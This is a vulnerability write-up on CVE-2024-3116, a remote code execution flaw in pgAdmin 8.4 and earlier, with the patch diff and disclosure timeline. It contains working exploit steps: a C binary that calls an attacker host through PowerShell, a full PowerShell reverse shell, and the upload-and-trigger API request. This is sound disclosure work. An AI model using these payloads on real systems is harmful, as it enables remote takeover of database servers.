March 31, 2024
The following write-up guides you through the discovery of a critical Remote Code Execution (RCE) vulnerability in pgAdmin (<=8.4) a widely used administrative tool for PostgreSQL databases, which presents a significant concern. the vulnerability can be identified with CVE-2024-3116
The analysis provided offers a thorough examination of the vulnerability’s root cause, primarily linked to inadequate validation of file paths within PGAdmin, enabling unauthorized code execution. This issue poses a considerable risk on Windows platforms, attributed to their more permissive approach to executable file permissions. This write-up details the steps involved in creating and executing a malicious executable designed to exploit this vulnerability on Windows, along with an explanation of why such an exploit is impractical on *nix systems without explicit user intervention.
At the heart of our discussion is a focused review of the malicious code used to exploit this vulnerability and the remediation efforts undertaken by PGAdmin’s development team. The applied patch significantly improves the path validation processes.
Detailed Steps to Reproduce the Vulnerability
Compilation of Malicious Binary
The attack begins with compiling the following C code into a binary. This code, upon execution, uses the system
function to make an outbound HTTP request to a specified attacker-controlled URL.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell.exe -Command \"Invoke-RestMethod http://<randomstr>.attacler-controlled.com\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
Uploading the Malicious Binary:
The binary is uploaded via an API endpoint designed for file management within PGAdmin. Naming the binary to mimic essential PostgreSQL utilities tricks the application into executing it as if it were a legitimate operation. e.g, pg_dump, pg_dumpall, pg_restore, psql
@blueprint.route("/filemanager/<int:trans_id>/", methods=["POST"], endpoint='filemanager')
@login_required
def file_manager(trans_id):
...
You can either use the API or use the browser directly as you can see in the screenshot below:
Triggering the Vulnerable Code Execution Path
To trigger execution of the binary, a separate API request is made, effectively instructing PGAdmin to validate the utility path, indirectly leading to execution of the malicious binary. Trigger API Request:
POST /misc/validate_binary_path HTTP/1.1
Host: pgadmin
{
"utility_path": "/var/lib/pgadmin/storage/{username}"
}
PGAdmin’s code does not properly validate or sanitize input paths, leading to execution of the uploaded binary. This demonstrates a significant security oversight in handling file operations and executing external commands.
def get_binary_path_versions(binary_path: str) -> dict:
...
cmd = subprocess.run([full_path, '--version'], shell=False, capture_output=True, text=True)
...
When we invoke the /misc/validate_binary_path
API endpoint with the given PATH containing our malicious executable, the get_binary_path_versions()
function will be triggered. It executes our payload, and then we can observe the HTTP interaction through our HTTP server with PowerShell, as you can see in the screenshot below.
Exploitation via PowerShell Reverse Shell
PowerShell, a powerful scripting and automation tool integral to Windows, can be misused by attackers to establish reverse shells on compromised systems. A reverse shell facilitates a covert communication channel back to the attacker, granting them the ability to execute commands remotely and assume control over the victim’s system.
Compilation of Malicious Binary
In the context of the PGAdmin vulnerability exploitation on windows system, attackers can modify the C code provided below to generate a malicious binary that executes a PowerShell command and initiates a reverse shell.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
This PowerShell command attempts to connect back to the attacker’s specified IP address and port, creating a reverse shell that allows the attacker to execute further commands on the victim’s machine. Such a technique significantly elevates the risk associated with the PGAdmin vulnerability, as it provides attackers with a robust method for deep system access and control.
Enhanced path validation to reject unauthorized binary paths, especially those mimicking the PGAdmin storage directory. also implementing a restriction on certain operations within server mode to prevent exploitation through forged utility paths.
Patch diff:
diff --git a/web/pgadmin/browser/server_groups/servers/types.py b/web/pgadmin/browser/server_groups/servers/types.py
index 476d53d94..330e1f61b 100644
--- a/web/pgadmin/browser/server_groups/servers/types.py
+++ b/web/pgadmin/browser/server_groups/servers/types.py
@@ -11,7 +11,6 @@ import os
import json
import config
import copy
-
from flask import render_template
from flask_babel import gettext as _
from pgadmin.utils.preferences import Preferences
diff --git a/web/pgadmin/misc/__init__.py b/web/pgadmin/misc/__init__.py
index 6b3138393..2a136cd16 100644
--- a/web/pgadmin/misc/__init__.py
+++ b/web/pgadmin/misc/__init__.py
@@ -14,6 +14,7 @@ from flask import render_template, Response, request, current_app
from flask.helpers import url_for
from flask_babel import gettext
from flask_security import login_required
+from pathlib import Path
from pgadmin.utils import PgAdminModule, replace_binary_path, \
get_binary_path_versions
from pgadmin.utils.csrf import pgCSRFProtect
@@ -226,6 +227,12 @@ def validate_binary_path():
This function is used to validate the specified utilities path by
running the utilities with their versions.
"""
+
+ if config.SERVER_MODE:
+ return make_json_response(
+ status=403, success=0,
+ errormsg=gettext("403 FORBIDDEN")
+ )
data = None
if hasattr(request.data, 'decode'):
data = request.data.decode('utf-8')
@@ -234,7 +241,11 @@ def validate_binary_path():
data = json.loads(data)
version_str = ''
- if 'utility_path' in data and data['utility_path'] is not None:
+
+ # Do not allow storage dir as utility path
+ if 'utility_path' in data and data['utility_path'] is not None and \
+ Path(config.STORAGE_DIR) != Path(data['utility_path']) and \
+ Path(config.STORAGE_DIR) not in Path(data['utility_path']).parents:
binary_versions = get_binary_path_versions(data['utility_path'])
for utility, version in binary_versions.items():
if version is None:
diff --git a/web/pgadmin/utils/__init__.py b/web/pgadmin/utils/__init__.py
index 355b8da93..6a55afab1 100644
--- a/web/pgadmin/utils/__init__.py
+++ b/web/pgadmin/utils/__init__.py
@@ -14,13 +14,14 @@ import subprocess
from collections import defaultdict
from operator import attrgetter
+from pathlib import Path
from flask import Blueprint, current_app, url_for
from flask_babel import gettext
from flask_security import current_user, login_required
from flask_security.utils import get_post_login_redirect, \
get_post_logout_redirect
from threading import Lock
-
+import config
from .paths import get_storage_directory
from .preferences import Preferences
from pgadmin.utils.constants import UTILITIES_ARRAY, USER_NOT_FOUND, \
@@ -308,11 +309,18 @@ def does_utility_exist(file):
:return:
"""
error_msg = None
+
if file is None:
error_msg = gettext("Utility file not found. Please correct the Binary"
" Path in the Preferences dialog")
return error_msg
+ if Path(config.STORAGE_DIR) == Path(file) or \
+ Path(config.STORAGE_DIR) in Path(file).parents:
+ error_msg = gettext("Please correct the Binary Path in the Preferences"
+ " dialog. pgAdmin storage directory can not be a"
+ " utility binary directory.")
+
if not os.path.exists(file):
error_msg = gettext("'%s' file not found. Please correct the Binary"
" Path in the Preferences dialog" % file)
Disclosure Timeline
[10 Mar 2024]:
- Initial contact with [[email protected]].
- Full vulnerability report sent via email to [[email protected]].
[11 Mar 2024]:
- [PGAdmin Team] Acknowledges the vulnerability and begins work on a remediation suggestion.
[17 Mar 2024]:
- [PGAdmin Team] Proposes a patch.
[28 Mar 2024]:
- [PGAdmin Team] Opens an issue on GitHub. https://github.com/pgadmin-org/pgadmin4/issues/7326
- [PGAdmin Team] Publishes details of this vulnerability in the next release.
- [1 Apr 2024] CVE-2024-3116 was reserved for this vulnerability
[04 April 2024]:
- [PGAdmin Team] releases new update with the fix. https://github.com/pgadmin-org/pgadmin4/commit/fbbbfe22dd468bcfef1e1f833ec32289a6e56a8b